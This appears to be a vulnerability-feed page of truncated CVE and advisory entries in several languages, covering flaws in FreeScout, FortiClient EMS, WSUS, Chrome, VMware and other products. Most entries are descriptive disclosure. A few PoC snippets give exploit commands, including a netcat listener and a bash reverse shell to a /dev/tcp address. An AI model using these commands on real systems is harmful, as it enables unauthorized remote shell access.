CVE-2026-28289

🚨 CVE-2026-28289 — “Mail2Shell” メール添付ファイルのバイパスによる FreeScout のゼロクリック未認証 RCE 📖 概要 CVE-2026-28289 （通称 Mail2Shell ）は、FreeScout に影響を及ぼす重大なゼロクリックのリモートコード実行 RCE 脆弱性です。 攻撃者は、特別に細工したメールを FreeScout のメールボックスに送信するだけで、認証もユーザーの操作も一切なしに、基盤となるサーバーへのリモートシェルアクセス を獲得できます。 🧠 脆弱性の概要 ⚙️ 技術詳細 📨 ステップ 1 — 悪意のあるメールの配信...

CVE-2026-35616

🚨 CVE-2026-35616 - FortiClient EMS 認証バイパス 🚨 不適切なアクセス制御 | 事前認証 API バイパス 実環境で悪用 — 2026年4月 📋 概要 CVE-2026-35616 は、FortiClient Enterprise Management Server EMS バージョン 7.4.5 から 7.4.6 における重大な脆弱性です。 認証されていないリモート攻撃者が特別に細工したリクエストを送信することで、認証および認可のチェックをバイパスし、不正なコード実行やサーバー全体の侵害につながる可能性があります。 Fortinet アドバイザリ :...

cve-2025-59287-exploit-poc

CVE-2025-59287 概念実証エクスプロイト 脆弱性の概要 CVE-2025-59287 は、Microsoft Windows Server Update Services WSUS における重大なリモートコード実行 RCE 脆弱性です。この脆弱性は、EncryptionHelper.DecryptData メソッド内の BinaryFormatter による AuthorizationCookie データの安全でない逆シリアル化が原因で発生します。 影響 : 認証されていない攻撃者が、悪意のある暗号化クッキーを GetCookie エンドポイントに送信することで、SYSTEM...

CVE-2024-31666

漏洞概述 Flusity-CMS v.2.33 中存在一个漏洞，允许远程攻击者通过精心构造的脚本在 editaddonpost.php 组件中执行任意代码。 影响版本 Flusity-CMS v.2.33 漏洞细节 攻击者可以通过向 editaddonpost.php 组件发送精心构造的脚本来利用该漏洞，从而在目标服务器上执行任意代码。 影响 此漏洞可能会导致攻击者在服务器上执行任意代码，从而可能控制整个服务器。 发现者：胡诗雅...

PT-2026-85247

Name of the Vulnerable Software and Affected Versions toml-node versions prior to 4.1.2 Description the toml.parse function in lib/compiler.js allows an attacker to write arbitrary keys onto Object.prototype by routing a table path through a scalar value. This occurs because the deepRef function...

PT-2026-85033

Name of the Vulnerable Software and Affected Versions Plesk versions 18.0.79.9 and earlier Plesk versions 18.0.80 through 18.0.80.5 Description A path traversal issue allows local users to execute arbitrary code with root privileges. Path traversal is a flaw that allows an attacker to access file...

PT-2026-85238

Name of the Vulnerable Software and Affected Versions Google Chrome versions prior to 152.0.7977.82 Description A use after free issue in Skia allows a remote attacker to execute arbitrary code within the sandbox by inducing the user to open a specially crafted HTML page. Use after free is a memo...

PT-2026-85205

Missing authorization vulnerability has been discovered in 2Checkout payment gateway of WHMCS from 8.13.0 before 8.13.8, from 9.0.0 before 9.0.8, all other EOL versions from 4.5.0. The vulnerability allows an unauthenticated user to get WHMCS customer's data via 2Checkout payment gateway's endpoi...

PT-2026-85266

Name of the Vulnerable Software and Affected Versions TP-Link Archer AX55 v4 versions prior to 1.2.1 Build 20260527 Description A stack-based buffer overflow exists in the EasyMesh module. When Mesh mode is enabled, a LAN attacker can submit crafted input to the EasyMesh daemon, which may cause t...

PT-2026-85206

A critical WHMCS security update fixes CVE-2026-67399 and CVE-2026-67398. Apply the patch now to prevent remote code execution and data leaks. WHMCS CyberSecurity CVE202667399 CVE202667398 InfoSec https://t.co/LuCYwv3icN https://t.co/BNvTvGIUBc...

PT-2026-85031

Name of the Vulnerable Software and Affected Versions VMware Workstation versions prior to 26H1u1 VMware Fusion versions prior to 26H1u1 Description An integer overflow exists in the VMXNET3 virtual network adapter. This flaw allows a malicious actor with local administrative privileges within a...

PT-2026-85374

Name of the Vulnerable Software and Affected Versions IXON VPN Client versions prior to 1.4.7 Description An improper CRLF Carriage Return Line Feed sequence neutralization flaw allows unauthenticated local attackers to execute commands with root or SYSTEM privileges. The issue exists in a...

PT-2026-85235

Name of the Vulnerable Software and Affected Versions Google Chrome versions prior to 152.0.7977.82 Description A type confusion flaw exists in V8, the open-source JavaScript and WebAssembly engine used by Google Chrome. This issue allows a remote attacker to execute arbitrary code within the...

PT-2026-85032

VMware Critical Security Advisory VMSA-2026-0007 - VMware Workstation and Fusion updates address integer-overflow and buffer overflow vulnerabilities CVE-2026-59346, CVE-2026-59347 Please see the latest advisory: VMSA-2026-0007...

CVE-2025-69604

CVE-2025-69604 説明 この脆弱性は、CVE-2025-61229で説明されているものと類似しています。攻撃者はタスクテンプレートを編集して、SuperDuperのバックアップタスクに任意のパッケージをインストールさせることができます。その後、パッケージはルートユーザーとして、最高レベルのプライバシーアクセス（フルディスクアクセス）でシェルスクリプトを実行できます。 参考文献 SuperDuper Security Update v3.12 CVE-2025-69604 CVSS 3.1 スコア: NVD スコアは保留中です。 緩和策...

CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 ポータルに管理者としてログイン 新しいプロジェクトを追加 sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L 192.168.45.202 -P 80 シェルを楽しむ...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner CVE-2025-55182 の脆弱性スキャンおよびエクスプロイトツール。Next.js アプリケーションのリモートコード実行脆弱性を対象としています。バッチ検出、コマンド実行、哥斯拉メモリシェル注入、リバースシェル機能をサポートします。 ⚠️ 本ツールはセキュリティ研究および許可されたテスト目的でのみ使用してください。不正使用は禁止です。 特徴 マルチターゲットスキャン ：単一URL、ファイルリスト（1行1URL）、複数の.txtファイルを含むフォルダをサポート。 マルチスレッド並行処理...

CVE-2025-47812-PoC

CVE-2025-47812 — Wing FTP Server 远程代码执行 RCE 概述 字段| 值 ---|--- CVE| CVE-2025-47812 影响版本| Wing FTP Server 7.4.4 类型| 未认证远程代码执行 CVSS 评分| 10.0（严重） 修复版本| Wing FTP Server 7.4.4 工作原理 漏洞存在于 /loginok.html 登录端点。服务器未能正确过滤 username 字段中的空字节（%00）。攻击者可以利用这一点将任意的 Lua 代码 注入到会话文件中，这些文件随后在访问 /dir.html...

CVE-2023-4220-PoC

CVE-2023-4220 任意のファイルアップロード / RCE - PoC 私はこのスクリプトを作成しました。CVE-2023-4220 の悪用を自動化し、Hack The Box PermXマシンでリバースシェルを取得するためです。 この脆弱性は、Chamilo LMS バージョン ≤ 1.11.24 に影響します。big upload 機能 における不十分なバリデーションが原因です。認証されていない攻撃者は、公開アクセス可能なディレクトリにファイルをアップロードでき、悪意のあるスクリプトがアップロードされた場合、Stored XSS や リモートコード実行（RCE）...